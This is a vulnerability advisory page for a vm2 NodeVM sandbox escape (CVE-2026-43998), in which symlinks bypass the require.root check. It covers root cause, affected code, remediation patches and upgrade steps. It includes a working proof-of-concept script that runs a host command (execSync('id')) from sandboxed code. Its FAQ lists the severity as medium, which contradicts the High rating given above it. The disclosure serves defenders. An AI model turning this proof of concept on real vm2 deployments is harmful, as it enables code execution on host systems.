CVE-2026-43998: vm2: NodeVM require.root bypass via symlink traversal allows sandbox escape

Published May 7, 2026
·
Updated

Summary NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.

Severity High (CVSS 3.1: 8.5)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

- Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - Attack Complexity: High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments - Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - User Interaction: None - Scope: Changed — the vulnerability is in the sandbox boundary; impact is on the host system - Confidentiality Impact: High — arbitrary file read via host command execution - Integrity Impact: High — arbitrary command execution on the host - Availability Impact: High — arbitrary command execution on the host

Affected Component - lib/resolver-compat.js — CustomResolver.isPathAllowed() (line 53-60) - lib/resolver-compat.js — CustomResolver.loadJS() (line 62-66) - lib/filesystem.js — DefaultFileSystem.resolve() (line 8-10)

CWE - CWE-59: Improper Link Resolution Before File Access

Description

Root Cause: Check/Use Path Discrepancy

The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:

js // lib/resolver-compat.js:53-60 isPathAllowed(filename) { return this.rootPaths === undefined || this.rootPaths.some(path => { if (!filename.startsWith(path)) return false; const len = path.length; if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(filename[len]); }); }

The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():

js // lib/filesystem.js:8-10 resolve(path) { return pa.resolve(path); }

path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/nodemodules/safe pointing to /outside/root/malicious resolves to /root/nodemodules/safe — passing the prefix check.

However, the actual module loading uses Node's native require(), which does follow symlinks:

js // lib/resolver-compat.js:62-66 loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); mod.exports = vm.readonly(m); }

No Symlink Defenses Exist

A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:

js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;

Full Execution Chain

1. Host creates NodeVM with require: { external: ['safe'], root: '/tmp/root', context: 'host' } 2. A symlink exists: /tmp/root/nodemodules/safe → /outside/root/vm2/ (e.g., via pnpm, npm link, or workspaces) 3. Sandbox code calls require('safe') 4. DefaultResolver.resolveFull() resolves to /tmp/root/nodemodules/safe/index.js 5. tryFile() calls this.fs.resolve(x) → path.resolve() → /tmp/root/nodemodules/safe/index.js (symlink NOT followed) 6. isPathAllowed() checks if path starts with /tmp/root/ → PASSES 7. loadJS() detects context: 'host', calls this.hostRequire(filename) 8. Node's require() follows the symlink, loads from /outside/root/vm2/index.js 9. Module executes in host realm; exports proxied to sandbox 10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with childprocess)

Proof of Concept

js const path = require('path'); const fs = require('fs'); const os = require('os'); const { NodeVM } = require('vm2');

// Create an "allowed" root directory const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-')); fs.mkdirSync(path.join(root, 'nodemodules'), { recursive: true });

// Symlink inside root pointing to vm2 package outside root // In real deployments: pnpm, npm link, workspaces create these automatically const link = path.join(root, 'nodemodules', 'safe'); fs.symlinkSync(path.resolve(dirname), link, 'dir');

const vm = new NodeVM({ require: { external: ['safe'], root, context: 'host', builtin: [], // no builtins allowed }, });

// Sandbox code loads vm2 from outside root via symlink, // creates a privileged inner NodeVM to get childprocess const out = vm.run( const { NodeVM } = require('safe'); const inner = new NodeVM({ require: { builtin: ['childprocess'] } }); module.exports = inner.run( "module.exports = require('childprocess').execSync('id').toString()", 'inner.js' ); , path.join(root, 'vm.js'));

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact - Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context. - Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system. - Bypasses require.root entirely: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present. - Common in production: pnpm (where ALL nodemodules are symlinks), npm workspaces, and npm link all create the symlink conditions required for exploitation. - Silent failure: No error or warning is raised when a symlink traverses outside the root.

Recommended Remediation

Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)

Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:

js // lib/filesystem.js — add a realpath method const fs = require('fs');

class DefaultFileSystem { resolve(path) { return pa.resolve(path); }

realpath(path) { return fs.realpathSync(path); } // ... rest unchanged }

js // lib/resolver-compat.js — use realpath in isPathAllowed or before calling it isPathAllowed(filename) { let realFilename; try { realFilename = this.fs.realpath(filename); } catch (e) { return false; // file doesn't exist or can't be resolved } return this.rootPaths === undefined || this.rootPaths.some(path => { if (!realFilename.startsWith(path)) return false; const len = path.length; if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(realFilename[len]); }); }

Also dereference root paths at construction time:

js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => { const resolved = fsOpt.resolve(f); try { return fs.realpathSync(resolved); } catch (e) { return resolved; } }) : undefined;

Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.

Option 2: Validate the realpath in makeExtensionHandler / checkAccess

Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:

js makeExtensionHandler(vm, name) { return (mod, filename) => { filename = this.fs.resolve(filename); // Dereference symlinks before access check try { const realFilename = fs.realpathSync(filename); if (realFilename !== filename) { // Filename was a symlink — validate the real path too this.checkAccess(mod, realFilename); } } catch (e) { throw new VMError(Access denied to require '${filename}', 'EDENIED'); } this.checkAccess(mod, filename); thisname; }; }

Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.

Credit This vulnerability was discovered and reported by bugbunny.ai.

Other sources

vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2=3.10.5
3.11.0
Vm2 Project Vm2 Node.js=3.10.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.0
  2. Upgrade

    Upgrade vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.0
  3. Configuration

    Resolve and dereference symlinks (e.g., via realpath/fs.realpathSync) at the enforcement point in Resolver.makeExtensionHandler / checkAccess so the actual filesystem location is checked against allowed root paths. Also validate both the initially resolved path and the realpath (e.g., isPathAllowed(filename) should verify filename prefix and realFilename prefix).

    vm2 NodeVM / require.root enforcement (Resolver.makeExtensionHandler / checkAccess) symlink resolution before root-path validation = Use fs.realpathSync(realFilename) / realpath before applying path prefix checks (e.g., in isPathAllowed and before calling it)
  4. Compensating control

    Ensure sandboxed require() cannot reach host-realm modules outside the allowed root by preventing or disallowing symlink traversal in the allowed root (symlinks inside the allowed root that point outside enable the bypass).

  5. Operational

    After upgrading to vm2 3.11.0, review and remediate any exploitation impact (e.g., RCE-backed host compromise) since the attack can load host modules and execute host commands.

Event History

May 7, 2026
Advisory Published
via GitHub·04:33 AM
Data Sourced
via GitHub·04:33 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:19 PM
Data Sourced
via MITRE·05:19 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-43998?

CVE-2026-43998 has a medium severity rating, indicating a moderate risk of exploitation.

2

How do I fix CVE-2026-43998?

To fix CVE-2026-43998, upgrade to vm2 version 3.11.0 or later.

3

What impact does CVE-2026-43998 have on my application?

CVE-2026-43998 allows unauthorized module loading from outside the designated root directory, potentially compromising the application's security.

4

Which versions of vm2 are affected by CVE-2026-43998?

Versions of vm2 prior to 3.11.0, specifically 3.10.5 and earlier, are affected by CVE-2026-43998.

5

Is CVE-2026-43998 related to filesystem security?

Yes, CVE-2026-43998 involves a filesystem symlink vulnerability that can lead to security breaches.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203